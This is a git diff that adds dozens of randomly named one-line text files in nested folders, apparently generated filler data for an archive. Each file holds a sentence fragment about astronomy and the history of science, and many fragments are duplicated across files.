diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_gbewcvgzxogswazstgbuvpi.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_gbewcvgzxogswazstgbuvpi.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_gbewcvgzxogswazstgbuvpi.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_gwmmifzucs.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_gwmmifzucs.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_gwmmifzucs.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ibmjrpmhbbehezxkugmq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ibmjrpmhbbehezxkugmq.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ibmjrpmhbbehezxkugmq.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ivrznanvrbhz.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ivrznanvrbhz.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ivrznanvrbhz.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_jhncoadox.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_jhncoadox.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_jhncoadox.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_kjozyfbpvverivcmrubnpya.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_kjozyfbpvverivcmrubnpya.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_kjozyfbpvverivcmrubnpya.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_kotormbbcarluwbqwwebgqo.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_kotormbbcarluwbqwwebgqo.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_kotormbbcarluwbqwwebgqo.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_llqfxddgoejlczedygqaaq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_llqfxddgoejlczedygqaaq.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_llqfxddgoejlczedygqaaq.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_pedgeciacbbbepcgtgr.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_pedgeciacbbbepcgtgr.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_pedgeciacbbbepcgtgr.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_pzcgaptnvrhnthygkzauokbg.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_pzcgaptnvrhnthygkzauokbg.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_pzcgaptnvrhnthygkzauokbg.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ridropsxeqxljrwvpflyoyr.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ridropsxeqxljrwvpflyoyr.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ridropsxeqxljrwvpflyoyr.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_vrhwsntqbswdnvqa.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_vrhwsntqbswdnvqa.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_vrhwsntqbswdnvqa.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_wevtxtotwlcwko.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_wevtxtotwlcwko.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_wevtxtotwlcwko.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_wixhzcwc.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_wixhzcwc.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_wixhzcwc.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ykablgitclnomignbc.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ykablgitclnomignbc.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_ykablgitclnomignbc.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_zkcyinuqev.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_zkcyinuqev.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_zkcyinuqev.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/gwcobdaawkqexvmbmswahj.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/gwcobdaawkqexvmbmswahj.txt
new file mode 100644
index 0000000..0d97b7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/gwcobdaawkqexvmbmswahj.txt
@@ -0,0 +1 @@
+Day 207 Boom problem solved, but failure of main radio transmitter. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/hjwqdwvzwwyxioqvizqw.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/hjwqdwvzwwyxioqvizqw.txt
new file mode 100644
index 0000000..2ad8c3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/hjwqdwvzwwyxioqvizqw.txt
@@ -0,0 +1 @@
+These are curious and subtle questions. They challenge the obvious. There is a reason that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/iirmeujgaftx.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/iirmeujgaftx.txt
new file mode 100644
index 0000000..db4ac23
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/iirmeujgaftx.txt
@@ -0,0 +1 @@
+fried by the ultraviolet light. But there were always a fair number of varieties of terrestrial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/jgbvcqfeah.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/jgbvcqfeah.txt
new file mode 100644
index 0000000..9f67f9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/jgbvcqfeah.txt
@@ -0,0 +1 @@
+not one in Iberia.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/kbjlbyxldnsjot.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/kbjlbyxldnsjot.txt
new file mode 100644
index 0000000..21d2122
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/kbjlbyxldnsjot.txt
@@ -0,0 +1 @@
+innovation here is nothing short of breathtaking: he proposed that quantitative physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/lgcfnjtwk.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/lgcfnjtwk.txt
new file mode 100644
index 0000000..c490667
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/lgcfnjtwk.txt
@@ -0,0 +1 @@
+another star would be the remote descendants of those who had set out some centuries
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/mjolfrhcmsd.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/mjolfrhcmsd.txt
new file mode 100644
index 0000000..5dc9eeb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/mjolfrhcmsd.txt
@@ -0,0 +1 @@
+the next universe up, the first step of another infinite regress.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/mljztvpoz.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/mljztvpoz.txt
new file mode 100644
index 0000000..3d6e48a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/mljztvpoz.txt
@@ -0,0 +1 @@
+volcanoes, rivers; no boundaries between land and air; just a vast ocean of dense gas
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/nayhkcniputgoalqxx.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/nayhkcniputgoalqxx.txt
new file mode 100644
index 0000000..f760e27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/nayhkcniputgoalqxx.txt
@@ -0,0 +1 @@
+superior mathematician. Around him was a raucous entourage of assistants, sycophants,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/ozmqmfdbfdfoyzo.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/ozmqmfdbfdfoyzo.txt
new file mode 100644
index 0000000..d2be27b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/ozmqmfdbfdfoyzo.txt
@@ -0,0 +1 @@
+or their informants. In the hands of Voltaire, say, or Jonathan Swift, these accounts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/przsslispbxjvksujdjfep.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/przsslispbxjvksujdjfep.txt
new file mode 100644
index 0000000..1c671d3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/przsslispbxjvksujdjfep.txt
@@ -0,0 +1 @@
+Oppression and the fear of learning have obliterated almost all memory of ancientAlexandria. Its population was marvelously diverse. Macedonian and later Roman soldiers,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/qhrhmybxln.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/qhrhmybxln.txt
new file mode 100644
index 0000000..f5c3b40
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/qhrhmybxln.txt
@@ -0,0 +1 @@
+Paracelsus and even Isaac Newton. The money was not altogether wasted - new chemical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/siisgjndpfpygrzflsdpczz.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/siisgjndpfpygrzflsdpczz.txt
new file mode 100644
index 0000000..f5f5fff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/siisgjndpfpygrzflsdpczz.txt
@@ -0,0 +1 @@
+The rings of Saturn bear some resemblance to the asteroid belt: trillions of tiny icy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/smldvhssbqgiozuezvhnkmzy.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/smldvhssbqgiozuezvhnkmzy.txt
new file mode 100644
index 0000000..bd0fcd0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/smldvhssbqgiozuezvhnkmzy.txt
@@ -0,0 +1 @@
+why we still talk about the music of the spheres and a seventh heaven (there was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/umbxeejhrh.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/umbxeejhrh.txt
new file mode 100644
index 0000000..72e5b89
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/umbxeejhrh.txt
@@ -0,0 +1 @@
+our penchant for constructing and testing mental models of the skies; the Sun as a red-hot
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/vxdrljaaoocyrplqexex.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/vxdrljaaoocyrplqexex.txt
new file mode 100644
index 0000000..6dae9a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/vxdrljaaoocyrplqexex.txt
@@ -0,0 +1 @@
+of life on Earth may be unique in all the Milky Way Galaxy. The Earth condensed out of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/wesaygdrnuuhzmsbbj.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/wesaygdrnuuhzmsbbj.txt
new file mode 100644
index 0000000..7212949
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/wesaygdrnuuhzmsbbj.txt
@@ -0,0 +1 @@
+mass, it is the realm of both intuition and critical analysis. It is here that we have ideas and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/zhkrxvusqliph.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/zhkrxvusqliph.txt
new file mode 100644
index 0000000..8ac5562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/zhkrxvusqliph.txt
@@ -0,0 +1 @@
+a sphere in our three-dimensional analogy. If the universe is closed, light is trapped within
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/zltrepfxyw.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/zltrepfxyw.txt
new file mode 100644
index 0000000..bacd461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/zltrepfxyw.txt
@@ -0,0 +1 @@
+something like an oval.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/awwqrxvkzyykx.txt b/big_zip/big-zip-files/folder_ovvezqltve/awwqrxvkzyykx.txt
new file mode 100644
index 0000000..77dd8d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/awwqrxvkzyykx.txt
@@ -0,0 +1 @@
+their own, from, say, grandfather clocks. A watch implies a watchmaker. There seemed to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/bnclvjncbjmma.txt b/big_zip/big-zip-files/folder_ovvezqltve/bnclvjncbjmma.txt
new file mode 100644
index 0000000..81c1dff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/bnclvjncbjmma.txt
@@ -0,0 +1 @@
+ancient mapmakers were remarkably competent. What a pleasure such a view would have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/bniktvetxqmj.txt b/big_zip/big-zip-files/folder_ovvezqltve/bniktvetxqmj.txt
new file mode 100644
index 0000000..f262a82
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/bniktvetxqmj.txt
@@ -0,0 +1 @@
+things I explained in my treatise, which included the doctrine of the movement of the Earth, were so
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/ctfhzyolw.txt b/big_zip/big-zip-files/folder_ovvezqltve/ctfhzyolw.txt
new file mode 100644
index 0000000..6d67767
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/ctfhzyolw.txt
@@ -0,0 +1 @@
+‘successful’ Viking microbiology experiments if in laboratory experiments they substitute
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/dbmwnmba.txt b/big_zip/big-zip-files/folder_ovvezqltve/dbmwnmba.txt
new file mode 100644
index 0000000..ccbe0b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/dbmwnmba.txt
@@ -0,0 +1 @@
+school there. In the manuscript of his book, Copernicus mentioned Aristarchus’ priority, but he omitted the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/fgdwffclc.txt b/big_zip/big-zip-files/folder_ovvezqltve/fgdwffclc.txt
new file mode 100644
index 0000000..5afea0b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/fgdwffclc.txt
@@ -0,0 +1 @@
+conformity with events. Astrology developed into a strange combination of observations,mathematics and careful record-keeping with fuzzy thinking and pious fraud.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_ftjzodryameuskz.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_ftjzodryameuskz.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_ftjzodryameuskz.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_gdvzoznzqpwvsr.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_gdvzoznzqpwvsr.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_gdvzoznzqpwvsr.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_inrhatiicf.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_inrhatiicf.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_inrhatiicf.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_kqoewrieoc.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_kqoewrieoc.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_kqoewrieoc.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_rnwoowmkknorxj.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_rnwoowmkknorxj.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_rnwoowmkknorxj.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_uubxpsosthcfdnusy.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_uubxpsosthcfdnusy.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_uubxpsosthcfdnusy.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_vujeoqchrdlubvvy.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_vujeoqchrdlubvvy.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_vujeoqchrdlubvvy.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_wzrncigivjojrgjiivd.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_wzrncigivjojrgjiivd.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_wzrncigivjojrgjiivd.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_yzcllprg.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_yzcllprg.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_yzcllprg.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_zuinqhhygovvbl.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_zuinqhhygovvbl.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_zuinqhhygovvbl.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/file_zzkvridz.txt b/big_zip/big-zip-files/folder_ovvezqltve/file_zzkvridz.txt
new file mode 100644
index 0000000..3aa235a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/file_zzkvridz.txt
@@ -0,0 +1 @@
+tinier magnetic field of Jupiter does. Electrons in the rotating magnetic field emit beamed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/frkgxtjsbfcqzftamt.txt b/big_zip/big-zip-files/folder_ovvezqltve/frkgxtjsbfcqzftamt.txt
new file mode 100644
index 0000000..1024399
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/frkgxtjsbfcqzftamt.txt
@@ -0,0 +1 @@
+modern scientific cosmology. Its cycles run from our ordinary day and night to a day and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/ioegnweuedoxey.txt b/big_zip/big-zip-files/folder_ovvezqltve/ioegnweuedoxey.txt
new file mode 100644
index 0000000..4476862
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/ioegnweuedoxey.txt
@@ -0,0 +1 @@
+spectrometer. In analyzing these spectra, O. B. Toon, J. B. Pollack and I found that certain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/kajaxevxjjriyjqdo.txt b/big_zip/big-zip-files/folder_ovvezqltve/kajaxevxjjriyjqdo.txt
new file mode 100644
index 0000000..9378d9d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/kajaxevxjjriyjqdo.txt
@@ -0,0 +1 @@
+of a sparse cluster of galaxies, tucked away in some forgotten corner of a universe in which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/lzwtrzjqtniqwiq.txt b/big_zip/big-zip-files/folder_ovvezqltve/lzwtrzjqtniqwiq.txt
new file mode 100644
index 0000000..18a158a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/lzwtrzjqtniqwiq.txt
@@ -0,0 +1 @@
+This was not an alien world, I thought. I knew places like it in Colorado and Arizona and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/mjntznxvrkfyqtbionrmvbd.txt b/big_zip/big-zip-files/folder_ovvezqltve/mjntznxvrkfyqtbionrmvbd.txt
new file mode 100644
index 0000000..9ae1408
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/mjntznxvrkfyqtbionrmvbd.txt
@@ -0,0 +1 @@
